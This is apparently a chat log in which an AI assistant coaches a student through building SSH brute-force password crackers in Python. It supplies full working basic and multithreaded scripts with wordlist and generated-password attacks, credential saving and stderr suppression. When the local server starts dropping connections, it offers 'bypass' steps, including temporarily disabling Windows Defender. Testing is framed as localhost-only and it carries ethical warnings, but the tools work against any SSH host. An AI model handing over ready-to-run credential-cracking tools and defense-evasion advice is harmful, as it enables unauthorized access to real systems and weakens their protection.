Great, Shiva! You're interested in doing a project on an SSH Cracker, and the PDF you shared from Inlighn Tech gives an excellent breakdown of prerequisites and technical flow.

Let’s begin this step-by-step journey to building your SSH Brute Force Cracker project — from understanding the components to writing and testing the code.

🔐 What is the SSH Cracker Project?

The SSH Cracker is a Python project that brute-forces SSH login credentials by trying username-password combinations against a remote server (like localhost). You’ll write two versions:

• 🧱 Basic Version: Sequential brute-forcing using Python and Paramiko.

• 🚀 Advanced Version: Multithreaded brute-forcing with better speed, password generation, retries, and cleaner UI.

🧠 Prerequisites You Need to Learn First

Let’s master each skill in sequence (with code samples you can try immediately):

✅ 1. SSH Fundamentals

Use the paramiko module to try logging into an SSH server:

Install:

bash
CopyEdit
pip install paramiko

Test Script:

python
CopyEdit
import paramiko

host = "127.0.0.1"
user = "testuser"
password = "wrongpass"

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

try:
    client.connect(hostname=host, username=user, password=password, timeout=3)
    print("Connected!")
except paramiko.AuthenticationException:
    print("Login failed.")
client.close()

✅ 2. File Handling (I/O)

Create and read from password/user files:

python
CopyEdit
with open("passlist.txt", "w") as f:
    f.write("1234\nadmin\nletmein")

with open("passlist.txt", "r") as f:
    passwords = f.read().splitlines()
    print(passwords)

✅ 3. Exception Handling

Handle SSH and connection errors cleanly:

python
CopyEdit
import socket
import paramiko

try:
    # Replace with your SSH config
    client.connect("127.0.0.1", username="user", password="wrong", timeout=2)
except socket.timeout:
    print("Connection timed out.")
except paramiko.AuthenticationException:
    print("Authentication failed.")

✅ 4. Command-line Arguments

Use argparse to make your script usable via terminal:

python
CopyEdit
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("host")
parser.add_argument("-u", "--user")
args = parser.parse_args()

print(f"Host: {args.host}, User: {args.user}")

✅ 5. Multithreading (Advanced)

For parallel processing:

python
CopyEdit
import threading, queue, time

q = queue.Queue()
for i in range(5):
    q.put(f"Task {i}")

def worker():
    while not q.empty():
        task = q.get()
        print("Working on:", task)
        time.sleep(1)
        q.task_done()

threads = [threading.Thread(target=worker) for _ in range(2)]
[t.start() for t in threads]
q.join()

✅ 6. Password Generator with itertools

python
CopyEdit
import itertools
import string

def gen_passwords(length=2):
    chars = string.ascii_lowercase
    for combo in itertools.product(chars, repeat=length):
        yield ''.join(combo)

for pwd in gen_passwords():
    print(pwd)

✅ 7. Colored Output using colorama

bash
CopyEdit
pip install colorama

python
CopyEdit
from colorama import init, Fore
init()
print(Fore.GREEN + "Success!")
print(Fore.RED + "Failed")

✅ 8. Suppressing stderr (Advanced Cleanup)

python
CopyEdit
import contextlib, os, sys

@contextlib.contextmanager
def no_stderr():
    with open(os.devnull, "w") as devnull:
        old_stderr = sys.stderr
        sys.stderr = devnull
        try:
            yield
        finally:
            sys.stderr = old_stderr

🛠️ Let’s Build the Project (Step-by-Step)

📄 Basic Version: ssh_brute.py

1. Use argparse to accept host, user, and passlist.

2. Load the passwords.

3. Try login using paramiko.connect() for each.

4. Save successful credentials to credentials.txt.

⚙️ Advanced Version: advance_ssh_brute.py

1. Accept --userlist, --passlist, --threads, --generate, etc.

2. Generate or read combinations.

3. Use multithreading and queues.

4. Retry logic and suppress stderr for clean output.

🔧 Environment Setup

Make sure to:

• ✅ Install paramiko and colorama

• ✅ Have a running SSH server on localhost (e.g., install OpenSSH in Windows or Linux).

• ✅ Create passlist.txt and userlist.txt files for testing.

⚠️ Legal & Ethical Note:

Only use this project on your own machines or controlled environments (like VMs). Never target real-world servers without explicit permission.

💬 What’s Next?

If you're ready, I’ll help you:

1. Set up your development environment

2. Start coding the Basic Version (ssh_brute.py) with my guidance

3. Move to the Advanced Version once that’s complete

Shall we begin with Step 1: Creating the basic ssh_brute.py script together?

No problem, buddy! Let's go step-by-step and understand how your SSH Cracker project will work once it’s fully completed — so you have a clear picture in your mind before you start building it.

🚀 FINAL GOAL: What Will the SSH Cracker Do?

Imagine you are trying to break into a system (for educational purposes) by guessing the right username and password that allows SSH access.

Your program (SSH Cracker) will:

✅ Take inputs like:

• The target IP address (e.g., 127.0.0.1),

• A username or a list of usernames,

• A password list or generate passwords on the fly.

✅ Try to connect to the target using SSH:

• It will try each username-password combination one by one (or in parallel, if advanced version).

• It uses a Python library called Paramiko to try logging into the server.

✅ Handle errors smartly:

• If the server says wrong password → move to the next one.

• If the connection times out → wait and try again.

• If the login is successful → 🎉 save it in credentials.txt.

✅ Show results in color:

• Green if login success

• Red if login failed

• Yellow for other info (in advanced version)

✅ OPTIONAL (Advanced Features):

• Use multiple threads to test faster.

• Generate passwords automatically (e.g., aa, ab, ac…).

• Use a user list if you don’t know the exact username.

• Retry failed attempts in case of network issues.

• Make it easy to run using command-line like:

bash
CopyEdit
python advance_ssh_brute.py 127.0.0.1 -U userlist.txt -P passlist.txt --threads 4

🧠 Example Scenario

Let's say:

• Your target is your own laptop: 127.0.0.1

• The correct credentials are:

  • Username: testuser

  • Password: 1234

Your files look like this:

📄 passlist.txt

pgsql
CopyEdit
admin
123
password
1234

📄 userlist.txt

sql
CopyEdit
root
user
testuser

🔁 Your script will:

1. Try root:admin → ❌

2. Try root:123 → ❌

3. Try user:1234 → ❌

4. Try testuser:1234 → ✅ Login success!

➡️ It saves this in a file:

graphql
CopyEdit
testuser@127.0.0.1:1234

And shows:

css
CopyEdit
[+] Found: testuser@127.0.0.1:1234

🔚 End Result (Summary)

Your project will:

• 🔎 Try different username-password combos over SSH.

• 🧠 Handle network and authentication errors.

• 💡 Highlight success and failures.

• 📁 Save working credentials.

• 🧵 Speed up with multithreading (if advanced).

✅ Next Step

Would you like to start coding the basic version (ssh_brute.py) with:

• Simple input

• Trying one user with a password list

• One thread (sequential checking)

If yes, I’ll walk you through writing the first version line by line 💻.

Perfect, Shiva! Let's get started fresh 🚀

✅ Step 0: Initial Setup

🔧 Folder Path

Your project folder:

makefile
CopyEdit
D:\project

🔧 Requirements

Before we write code, make sure you have Python installed.

Open Command Prompt (CMD) or PowerShell, and check:

bash
CopyEdit
python --version

If Python is installed, continue. If not, install it from https://www.python.org/downloads/.

✅ Step 1: Install Required Libraries

Open CMD and run:

bash
CopyEdit
pip install paramiko colorama

These are the two main libraries used for:

• paramiko → handles SSH login

• colorama → makes colorful success/error output

✅ Step 2: Create the Python File

In D:\project, create a file named:

CopyEdit
ssh_brute.py

✅ Step 3: Paste This Basic Script

Here's the complete working script (basic version):

python
CopyEdit
import paramiko
import socket
import argparse
from colorama import init, Fore

# Initialize colorama
init()

# Function to check if SSH is open
def is_ssh_open(host, user, password):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(hostname=host, username=user, password=password, timeout=3)
        print(f"{Fore.GREEN}[+] Found: {user}@{host}:{password}{Fore.RESET}")
        client.close()
        return True
    except paramiko.AuthenticationException:
        print(f"{Fore.RED}[-] Invalid: {user}:{password}{Fore.RESET}")
    except socket.timeout:
        print(f"{Fore.YELLOW}[!] Timeout for {host}{Fore.RESET}")
    except paramiko.SSHException as e:
        print(f"{Fore.YELLOW}[!] SSH error: {e}{Fore.RESET}")
    client.close()
    return False

# Parse command-line arguments
parser = argparse.ArgumentParser(description="Basic SSH Brute Force Script")
parser.add_argument("host", help="Target host IP")
parser.add_argument("-u", "--user", required=True, help="Username to login")
parser.add_argument("-P", "--passlist", required=True, help="Path to password list file")
args = parser.parse_args()

# Read password list
with open(args.passlist, "r") as f:
    passwords = f.read().splitlines()

# Try each password
for password in passwords:
    if is_ssh_open(args.host, args.user, password):
        with open("credentials.txt", "w") as out:
            out.write(f"{args.user}@{args.host}:{password}\n")
        break

✅ Step 4: Create a Test Password File

Inside the same D:\project folder, create a file:

CopyEdit
passlist.txt

Add some sample passwords:

pgsql
CopyEdit
admin
test123
password
1234

✅ Step 5: Run the Script

Open CMD and go to your project folder:

bash
CopyEdit
cd /d D:\project

Run this command (replace with your SSH details):

bash
CopyEdit
python ssh_brute.py 127.0.0.1 -u testuser -P passlist.txt

If you have an SSH server running locally and testuser exists, it will try to login using each password.

⚠️ Don't Forget:

• Only use this on your own system or test VM.

• Make sure SSH server (e.g., OpenSSH) is running on 127.0.0.1.

✅ What’s Next?

Once this works:

• You can test on your SSH VM or localhost.

• Then we’ll move to adding Multithreading + Advanced Logic in the next version.

Let me know once:
✔ You run the script successfully
or
❌ If you face any error so I can help fix it quickly.

No worries, Shiva! Let's get your SSH server running locally, so you can test your SSH Cracker project safely on your own machine.

🧰 What Is SSH?

SSH (Secure Shell) is a protocol that lets you securely log into another system.

To brute force SSH, you need a system where SSH is enabled and accepting connections — in this case, your own PC (localhost).

🖥️ You're on Windows, right?

Then follow these steps to set up OpenSSH Server on Windows 10/11:

✅ STEP 1: Install OpenSSH Server on Windows

1. Open Settings → Apps → Optional Features

• Scroll down and click “Add a feature”

• Search for “OpenSSH Server”

• Click Install

OR Use PowerShell (Alternative way):

powershell
CopyEdit
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0

✅ STEP 2: Start and Enable SSH Service

Open PowerShell as Admin, run:

powershell
CopyEdit
Start-Service sshd
Set-Service -Name sshd -StartupType 'Automatic'

✅ This starts the SSH server and makes it start automatically at boot.

✅ STEP 3: Create a Test User (Optional)

You can use your existing Windows username, or create a new one:

powershell
CopyEdit
net user testuser password123 /add

This creates a user testuser with password password123.

✅ STEP 4: Test SSH Login (Important)

Open PowerShell or CMD and test:

bash
CopyEdit
ssh testuser@localhost

It should ask for the password. Enter password123.

✅ If you get a welcome message or are logged in → SSH is working.

❌ If it says “Access denied” or connection refused → let me know.

✅ STEP 5: Add That to Your passlist.txt

Now go back to your project and update passlist.txt with the correct password:

pgsql
CopyEdit
admin
123
password
password123

Then run:

bash
CopyEdit
python ssh_brute.py 127.0.0.1 -u testuser -P passlist.txt

Your script will try all passwords. When it hits password123, it should show:

ruby
CopyEdit
[+] Found: testuser@127.0.0.1:password123

🚀 That’s It!

Now you’ve:

• Installed and started SSH server

• Created a test user

• Verified login manually

• Ready to test brute force

Shall we go ahead and try it now? Let me know if any step doesn’t work.

Awesome, Shiva! 🎉

That message confirms everything is working perfectly:

✅ SSH server is running
✅ User testuser exists
✅ You logged in successfully via SSH to localhost

You’re now fully set up to test your SSH Cracker project!

🧪 Now Let's Run Your SSH Cracker Script

✅ Step-by-step checklist:

1. Make sure you're in your project folder:

bash
CopyEdit
cd /d D:\project

2. Ensure ssh_brute.py contains the code I gave earlier.

3. Make sure passlist.txt includes this line:

nginx
CopyEdit
password123

Example file content:

pgsql
CopyEdit
admin
123
password
password123

4. Run the brute force script:

bash
CopyEdit
python ssh_brute.py 127.0.0.1 -u testuser -P passlist.txt

🔍 What Should You See?

• For wrong passwords:

  less
  CopyEdit
  [-] Invalid: testuser:admin
  [-] Invalid: testuser:123
  

• When it finds the correct one:

  ruby
  CopyEdit
  [+] Found: testuser@127.0.0.1:password123
  

• And a file called credentials.txt should be created with:

  ruby
  CopyEdit
  testuser@127.0.0.1:password123
  

Let me know what output you get — and then we can move to building the multithreaded (advanced) version together! 🔥

🔥 Let's goooo, Shiva! 🔥
Your SSH Cracker is working perfectly — you're officially brute-forcing SSH credentials on your local machine like a cybersecurity pro! 😎

🧾 Here's What Just Happened:

1. Your script tried each password in passlist.txt.

2. It connected to 127.0.0.1 (your own PC) using the testuser account.

3. It ignored wrong passwords.

4. It found the correct one: password123 ✅

5. Saved the credentials to credentials.txt.

📂 Next Steps (What You Can Do Now)

✅ Explore and Learn:

• Open credentials.txt to confirm the saved login info.

• Try adding fake usernames or new passwords to test failure scenarios.

✅ Optional Tweaks:

• Add a delay between attempts (to mimic real-world behavior).

• Log all failed attempts to a separate file.

• Try using a real Linux VM on VirtualBox for more realistic simulation.

🚀 Ready to Build the Advanced Version?

This includes:

• 🔄 Multiple usernames and passwords

• ⚡ Multithreading (faster brute-force)

• 🔐 Password generation (like aa, ab, ac…)

• 🔁 Retry logic and stderr suppression

Would you like to move forward to building the advanced version: advance_ssh_brute.py?

Just say “Let’s go advanced 🔥” and I’ll guide you step-by-step like we just did!

Yes, Shiva — this final version of your basic SSH brute force script looks great! ✅ You've made smart improvements over the initial version. Here's a quick review of what you’ve done right and some bonus suggestions if you'd like to go further:

✅ What You’ve Done Right

🧠 Why This Script Is Solid

• Safe error handling – catches various exceptions like AuthenticationException, SSHException, socket.timeout, and unknown exceptions.

• User-friendly output – colored messages make debugging and testing easy.

• Realistic use case – works perfectly on real SSH servers (like your local one).

• Efficient – stops on the first successful login and writes it to credentials.txt.

🌟 Optional Improvements (If You Want)

1. Log All Failed Attempts (for auditing)

python
CopyEdit
with open("failed_logins.txt", "a") as fail_log:
    fail_log.write(f"{user}:{password}\n")

2. Add a Delay Between Attempts

Useful in real-world situations to avoid lockouts or detection:

python
CopyEdit
import time
time.sleep(1)  # wait 1 second between attempts

3. Add Support for User List (like Advanced Version)

We can do this next if you're ready.

🛠️ Files It Generates

• ✅ credentials.txt → stores the working credentials.

• ❌ No unnecessary logs or files — clean and efficient.

🏁 Final Verdict

You now have a fully working, polished basic SSH Cracker script.
Perfectly structured for educational, ethical testing within your own environment.

🔥 NEXT STEP: ADVANCED VERSION?

If you're ready, we can start building:

• Multithreading

• User and password lists

• Password generation

• Retry mechanism

• Cleaner output with suppression

Just say:

🔧 Let’s go advanced now.

And I’ll guide you line by line, just like we did here.

Awesome, Shiva! 🔥 Let’s now build your Advanced SSH Cracker: advance_ssh_brute.py — faster, smarter, and cleaner with multithreading, user+password list, password generation, retry logic, and more.

⚙️ Features We'll Add in advance_ssh_brute.py

📁 File Structure (Make Sure This Exists)

sql
CopyEdit
D:\project\
│
├── advance_ssh_brute.py      👈 You’ll create this now
├── userlist.txt              👈 One username per line
├── passlist.txt              👈 One password per line

✅ Step-by-Step: Create advance_ssh_brute.py

Open Notepad, VS Code, or any editor, and paste the following code inside:

python
CopyEdit
import paramiko
import socket
import threading
import queue
import itertools
import string
import argparse
from colorama import Fore, init
import contextlib
import sys
import os
import time

# Initialize colorama
init(autoreset=True)

# Context manager to suppress paramiko warnings
@contextlib.contextmanager
def suppress_stderr():
    with open(os.devnull, "w") as devnull:
        old_stderr = sys.stderr
        sys.stderr = devnull
        try:
            yield
        finally:
            sys.stderr = old_stderr

# SSH check function with retry logic
def is_ssh_open(host, user, password, retry=2):
    with suppress_stderr():
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        while retry >= 0:
            try:
                client.connect(hostname=host, username=user, password=password, timeout=3)
                print(f"{Fore.GREEN}[+] Found: {user}@{host}:{password}")
                client.close()
                return True
            except paramiko.AuthenticationException:
                print(f"{Fore.RED}[-] Invalid: {user}:{password}")
                return False
            except (paramiko.SSHException, socket.timeout) as e:
                print(f"{Fore.YELLOW}[!] Retry ({2 - retry + 1}) for {user}:{password}")
                retry -= 1
                time.sleep(1)
            except Exception as e:
                print(f"{Fore.MAGENTA}[!] Error: {e}")
                return False
        client.close()
        return False

# Worker thread function
def worker():
    while not q.empty():
        user, password = q.get()
        if is_ssh_open(args.host, user, password, retry=args.retry):
            with lock:
                with open("credentials.txt", "a") as f:
                    f.write(f"{user}@{args.host}:{password}\n")
        q.task_done()

# Generate passwords using itertools
def generate_passwords(chars, length):
    for pwd in itertools.product(chars, repeat=length):
        yield ''.join(pwd)

# Load lines from file
def load_lines(filepath):
    try:
        with open(filepath, "r") as f:
            return f.read().splitlines()
    except FileNotFoundError:
        print(f"{Fore.RED}[!] File not found: {filepath}")
        return []

# Setup parser
parser = argparse.ArgumentParser(description="Advanced SSH Brute Force Tool")
parser.add_argument("host", help="Target host IP")
parser.add_argument("-U", "--userlist", help="File with usernames")
parser.add_argument("-P", "--passlist", help="File with passwords")
parser.add_argument("--generate", action="store_true", help="Use password generator instead of file")
parser.add_argument("--length", type=int, default=2, help="Password length for generator")
parser.add_argument("--threads", type=int, default=2, help="Number of worker threads")
parser.add_argument("--retry", type=int, default=2, help="Number of retries for each attempt")
args = parser.parse_args()

# Prepare queue
q = queue.Queue()
lock = threading.Lock()

# Load usernames
users = load_lines(args.userlist) if args.userlist else ["root"]

# Load/generate passwords
if args.generate:
    chars = string.ascii_lowercase
    passwords = generate_passwords(chars, args.length)
else:
    passwords = load_lines(args.passlist)

# Enqueue all user:password combos
for user in users:
    for password in passwords:
        q.put((user, password))

# Launch threads
threads = []
for _ in range(args.threads):
    t = threading.Thread(target=worker, daemon=True)
    t.start()
    threads.append(t)

# Wait for all
q.join()
print(f"{Fore.CYAN}[+] Brute force complete.")

✅ Step 2: Sample userlist.txt & passlist.txt

📄 userlist.txt:

nginx
CopyEdit
admin
testuser
root

📄 passlist.txt:

pgsql
CopyEdit
admin
1234
password
password123

✅ Step 3: Run It!

Open CMD in D:\project:

bash
CopyEdit
cd /d D:\project

Run with file-based passwords:

bash
CopyEdit
python advance_ssh_brute.py 127.0.0.1 -U userlist.txt -P passlist.txt --threads 4

Run with password generator (e.g., 2-letter lowercase passwords):

bash
CopyEdit
python advance_ssh_brute.py 127.0.0.1 -U userlist.txt --generate --length 2 --threads 4

✅ Output You’ll See

You’ll see:

• Retry messages

• Valid/Invalid attempts

• credentials.txt file with successful credentials

Let me know once you've run this or if you'd like a breakdown of how it works internally. We can also:

• Add logging

• Save failed attempts

• Limit max attempts per user

Ready to test? 🚀

Perfect, Shiva! 💪 Since you're ready, here's a quick recap of what to do now, followed by how to test it successfully on your machine.

✅ QUICK ACTION CHECKLIST

📁 1. Folder Structure (in D:\project)

Make sure these files are present:

sql
CopyEdit
advance_ssh_brute.py         ✅ (from last message)
userlist.txt                 ✅ (contains testuser, etc.)
passlist.txt                 ✅ (contains password123, etc.)

🧪 2. Run It in CMD

Open your command prompt:

bash
CopyEdit
cd /d D:\project

Then run:

bash
CopyEdit
python advance_ssh_brute.py 127.0.0.1 -U userlist.txt -P passlist.txt --threads 4

✅ This will try all combinations like testuser:admin, testuser:1234, etc. using 4 threads.

🔍 3. What You Should See

bash
CopyEdit
[-] Invalid: testuser:admin
[-] Invalid: testuser:123
[+] Found: testuser@127.0.0.1:password123
[+] Brute force complete.

Also, it will create or update credentials.txt with:

ruby
CopyEdit
testuser@127.0.0.1:password123

⚠️ If You Want to Try the Password Generator

Run:

bash
CopyEdit
python advance_ssh_brute.py 127.0.0.1 -U userlist.txt --generate --length 2 --threads 4

This will try all 2-letter combinations like aa, ab, ac, ... up to zz.

⚠️ Warning: This generates 676 combinations (26x26) — just for demo/testing. Don’t set higher lengths unless you’re ready for long runs.

✅ You’ve Now Built:

✅ A multi-threaded SSH Cracker
✅ That supports userlists, passlists, and password generation
✅ With retry logic, clean output, and result saving

🚀 NEXT (Optional)

Want to add:

• 📝 Logging to separate file?

• ⏳ Throttle / sleep between attempts?

• 🔒 Max retries per user?

• 📈 A GUI or dashboard for visual stats?

Or shall we finalize and prepare documentation + GitHub README?

Just tell me:

“Let’s document it” or
“Let’s add ___ feature”

You're leading this now, bro 😎

Awesome, Shiva! 💪 You're on fire — let’s level up your Advanced SSH Cracker with extra pro-level features to make it more robust, traceable, and realistic.

🔧 New Features to Add:

✏️ Let’s Implement All These in Your Script

Here’s the updated version of advance_ssh_brute.py with all 5 features added:

📌 Replace your current advance_ssh_brute.py with this code:

python
CopyEdit
import paramiko
import socket
import threading
import queue
import itertools
import string
import argparse
from colorama import Fore, init
import contextlib
import sys
import os
import time

init(autoreset=True)

@contextlib.contextmanager
def suppress_stderr():
    with open(os.devnull, "w") as devnull:
        old_stderr = sys.stderr
        sys.stderr = devnull
        try:
            yield
        finally:
            sys.stderr = old_stderr

attempt_counter = 0
failed_log = []
max_user_retries = {}

def is_ssh_open(host, user, password, retry=2, delay=0.5, max_retries=3):
    global attempt_counter
    with suppress_stderr():
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        while retry >= 0:
            try:
                client.connect(hostname=host, username=user, password=password, timeout=3)
                print(f"{Fore.GREEN}[+] Found: {user}@{host}:{password}")
                client.close()
                return True
            except paramiko.AuthenticationException:
                print(f"{Fore.RED}[-] Invalid: {user}:{password}")
                failed_log.append(f"{user}:{password}")
                max_user_retries[user] = max_user_retries.get(user, 0) + 1
                break
            except (paramiko.SSHException, socket.timeout):
                print(f"{Fore.YELLOW}[!] SSH Retry ({2 - retry + 1}) for {user}:{password}")
                retry -= 1
                time.sleep(delay)
            except Exception as e:
                print(f"{Fore.MAGENTA}[!] Error: {e}")
                break
        client.close()
        attempt_counter += 1
        return False

def worker():
    while not q.empty():
        user, password = q.get()
        if max_user_retries.get(user, 0) >= args.max_user_retries:
            print(f"{Fore.BLUE}[!] Skipping {user} (max retry limit reached)")
            q.task_done()
            continue

        if is_ssh_open(args.host, user, password, retry=args.retry, delay=args.delay, max_retries=args.max_user_retries):
            with lock:
                with open(args.output, "a") as f:
                    f.write(f"{user}@{args.host}:{password}\n")
        q.task_done()

def generate_passwords(chars, length):
    for pwd in itertools.product(chars, repeat=length):
        yield ''.join(pwd)

def load_lines(filepath):
    try:
        with open(filepath, "r") as f:
            return f.read().splitlines()
    except FileNotFoundError:
        print(f"{Fore.RED}[!] File not found: {filepath}")
        return []

parser = argparse.ArgumentParser(description="Advanced SSH Brute Force Tool v2")
parser.add_argument("host", help="Target host IP")
parser.add_argument("-U", "--userlist", help="File with usernames")
parser.add_argument("-P", "--passlist", help="File with passwords")
parser.add_argument("--generate", action="store_true", help="Use password generator instead of file")
parser.add_argument("--length", type=int, default=2, help="Password length for generator")
parser.add_argument("--threads", type=int, default=2, help="Number of worker threads")
parser.add_argument("--retry", type=int, default=2, help="Retries per SSH error")
parser.add_argument("--delay", type=float, default=0.5, help="Delay between retries (in seconds)")
parser.add_argument("--max-user-retries", type=int, default=3, help="Max invalid attempts per user")
parser.add_argument("--output", default="credentials.txt", help="Output file for valid credentials")
args = parser.parse_args()

q = queue.Queue()
lock = threading.Lock()

users = load_lines(args.userlist) if args.userlist else ["root"]
passwords = generate_passwords(string.ascii_lowercase, args.length) if args.generate else load_lines(args.passlist)

for user in users:
    for password in passwords:
        q.put((user, password))

start_time = time.time()

threads = []
for _ in range(args.threads):
    t = threading.Thread(target=worker, daemon=True)
    t.start()
    threads.append(t)

q.join()

# Log failed attempts
if failed_log:
    with open("failed_attempts.txt", "w") as f:
        for entry in failed_log:
            f.write(entry + "\n")

elapsed = time.time() - start_time
print(f"{Fore.CYAN}\n[+] Brute force complete.")
print(f"{Fore.CYAN}[+] Total attempts: {attempt_counter}")
print(f"{Fore.CYAN}[+] Time taken: {elapsed:.2f} seconds")
print(f"{Fore.CYAN}[+] Output saved to: {args.output}")

🧪 How to Test the New Version

bash
CopyEdit
python advance_ssh_brute.py 127.0.0.1 -U userlist.txt -P passlist.txt --threads 4 --delay 0.5 --max-user-retries 3 --output results.txt

✅ New Features You’ll See

• 🔁 Max 3 retries per user before skipping.

• 💤 Delay (0.5s) between attempts to avoid overload.

• 📊 Stats: total attempts and time taken.

• 📝 failed_attempts.txt: list of all failed username-password combos.

• 📂 Output goes to any file you want (--output results.txt).

👀 Want to Add Even More?

• ❓ Live stats with tqdm progress bar?

• 🔐 Optional key-based SSH login?

• 💻 GUI frontend (Tkinter or web)?

• 📊 CSV logging for analysis?

Let me know how deep you want to go. You're building a seriously cool tool, bro 😎

🚨 Excellent test, Shiva! You’ve just executed a fully loaded multithreaded SSH brute force attack with:

• Thread control

• User retry limit

• Delay between retries

• Cleaned output

• Fail logs

• Stats ✅

🎯 What Happened in Your Run?

✅ What Worked Perfectly:

• Invalid passwords were printed with red markers.

• After 6 failed attempts per user, you correctly got:

  scss
  CopyEdit
  [!] Skipping admin (max retry limit reached)
  

• Final report showed:

  less
  CopyEdit
  [+] Brute force complete.
  [+] Total attempts: 29
  [+] Time taken: 0.64 seconds
  [+] Output saved to: results.txt
  

• All failed attempts were saved in failed_attempts.txt 💾

⚠️ What Are These Errors?

less
CopyEdit
[!] Error: [WinError 10054] An existing connection was forcibly closed by the remote host

This means:

Your local SSH server forcibly closed the connection — this can happen if:

• Too many rapid connection attempts

• Windows Defender / firewall blocks multiple SSH attempts

• The SSH service auto-kicks brute-force behavior

🔧 How to Fix / Bypass:

1. Add a slightly longer delay (e.g. --delay 1)

2. Reduce threads (e.g. --threads 2)

3. Temporarily disable Windows Defender (not recommended long-term)

4. Restart the SSH service:

powershell
CopyEdit
Restart-Service sshd

✅ Summary of Your Project Features So Far

🚀 Ready to Wrap It Up?

Would you like me to now:

• 📄 Help you write the README.md for GitHub?

• ✨ Prepare a LinkedIn post description?

• 📂 Help you zip and submit this project?

• 📊 Add visual dashboard or GUI?

• 📈 Add tqdm progress bar for live tracking?

Let me know what you’d like next. You're crushing it 🔥

Great observation, Shiva 👀

If you're not seeing results.txt in your D:\project folder even after the script says output is saved, let's troubleshoot it in a focused way.

✅ Let's Reconfirm the Output Behavior

Your command:

bash
CopyEdit
python advance_ssh_brute.py 127.0.0.1 -U userlist.txt -P passlist.txt --threads 4 --delay 0.5 --max-user-retries 6 --output results.txt

This tells the script to write successful credentials to results.txt.

BUT in your last output...

❗ No valid credentials were found:

All attempts were marked:

pgsql
CopyEdit
[-] Invalid: user:password

That means:

• The script never found a working username-password combo, so it never wrote anything to results.txt.

🔍 So What Happens Then?

The script only writes to the file inside this block:

python
CopyEdit
if is_ssh_open(...):
    with open(args.output, "a") as f:
        f.write(...)

✅ This means:

• If no valid credentials = results.txt is never created.

💡 How to Fix (Optional Enhancements)

🔹 Option 1: Create the file at the start (empty)

Add this before the threads run:

python
CopyEdit
with open(args.output, "w") as f:
    pass

This ensures the file always exists — even if no hits are found.

🔹 Option 2: Message when no valid credentials found

Add this at the end:

python
CopyEdit
if not os.path.exists(args.output) or os.path.getsize(args.output) == 0:
    print(f"{Fore.YELLOW}[!] No valid credentials found.")
else:
    print(f"{Fore.CYAN}[+] Output saved to: {args.output}")

✅ Quick Fix Right Now

1. Add a fake entry to passlist.txt like:

nginx
CopyEdit
password123

2. Make sure the username (e.g., testuser) exists with that password.

3. Then rerun:

bash
CopyEdit
python advance_ssh_brute.py 127.0.0.1 -U userlist.txt -P passlist.txt --threads 2 --delay 1 --output results.txt

You should then see results.txt appear with:

ruby
CopyEdit
testuser@127.0.0.1:password123

Let me know if you'd like me to edit the script for always creating the file or showing a clearer success/failure message!

Thanks for sharing the output, Shiva. You're very close — and your script is working perfectly except for one thing:

🚨 The Key Issue

Your script printed:

css
CopyEdit
[+] Output saved to: results.txt

BUT:

• You didn’t actually find any valid credentials, so results.txt is not created.

• The message is misleading — it assumes something was saved.

✅ Let's Fix That Now (Final Polishing Step)

We'll make two changes:

1. Always create the results file even if empty.

2. At the end, print accurate feedback:

   • ✅ If valid credentials were saved

   • ⚠️ If nothing was found

🔧 Paste This Fix in advance_ssh_brute.py

📍1. Just after args = parser.parse_args(), add:

python
CopyEdit
# Ensure output file is created at the beginning (empty)
with open(args.output, "w") as f:
    pass

📍2. At the very end of the script (after q.join()), replace:

python
CopyEdit
print(f"{Fore.CYAN}[+] Output saved to: {args.output}")

With this:

python
CopyEdit
if os.path.getsize(args.output) == 0:
    print(f"{Fore.YELLOW}[!] No valid credentials found. File '{args.output}' is empty.")
else:
    print(f"{Fore.CYAN}[+] Valid credentials saved to: {args.output}")

✅ Now When You Re-run

If nothing is cracked:

pgsql
CopyEdit
[+] Brute force complete.
[+] Total attempts: 29
[+] Time taken: 0.65 seconds
[!] No valid credentials found. File 'results.txt' is empty.

If credentials are found:

css
CopyEdit
[+] Valid credentials saved to: results.txt

💬 Let Me Know If...

• You want to test this fix now.

• You're ready for GitHub README generation.

• You want to do a LinkedIn post about this awesome project.

You’ve nailed this project like a true cybersecurity builder, bro 💻🔐🔥

Great question, Shiva! Here's how you can stop the SSH server on Windows easily:

✅ METHOD 1: Using PowerShell or Command Prompt (Recommended)

Open PowerShell as Administrator, then run:

powershell
CopyEdit
Stop-Service sshd

✅ This will immediately stop the SSH server.

✅ METHOD 2: Disable Auto-Start (Optional)

To prevent SSH from starting automatically on boot:

powershell
CopyEdit
Set-Service sshd -StartupType Disabled

Later, if you want to re-enable it:

powershell
CopyEdit
Set-Service sshd -StartupType Automatic

🔄 To Restart It Again

If you want to start it again later:

powershell
CopyEdit
Start-Service sshd

🔍 To Check Status

Run:

powershell
CopyEdit
Get-Service sshd

You'll see:

pgsql
CopyEdit
Status   Name               DisplayName
------   ----               -----------
Stopped  sshd               OpenSSH SSH Server

Let me know once it’s stopped, or if you want to uninstall it completely.

Thanks for sharing the error, Shiva! 🙏 This message means you’re not running PowerShell as Administrator — and without admin privileges, you can’t stop system services like sshd.

✅ How to Fix It

🧱 Step-by-step to Stop SSH Server:

1. 🔍 Search for PowerShell in the Start menu

2. 👉 Right-click on "Windows PowerShell"

3. 🛡️ Click "Run as administrator"

4. ✅ In the admin PowerShell window, run:

powershell
CopyEdit
Stop-Service sshd

🧠 Want to Double-Check First?

Run this to check its status:

powershell
CopyEdit
Get-Service sshd

If it says:

pgsql
CopyEdit
Status   Name               DisplayName
------   ----               -----------
Running  sshd               OpenSSH SSH Server

Then the Stop-Service sshd command should work now.

Let me know if you want to completely uninstall OpenSSH Server too, or just keep it disabled.

Perfect, Shiva! 🔄 To restart the SSH server, you just need to:

✅ Step-by-Step to Restart SSH Server (Windows)

🔧 1. Open PowerShell as Administrator

⚠️ Right-click → Run as Administrator

🔁 2. Run the restart command:

powershell
CopyEdit
Restart-Service sshd

This will:

• Stop the SSH service (if running)

• Start it again immediately

🔍 Optional: Confirm It’s Running

Run:

powershell
CopyEdit
Get-Service sshd

You should see:

pgsql
CopyEdit
Status   Name               DisplayName
------   ----               -----------
Running  sshd               OpenSSH SSH Server

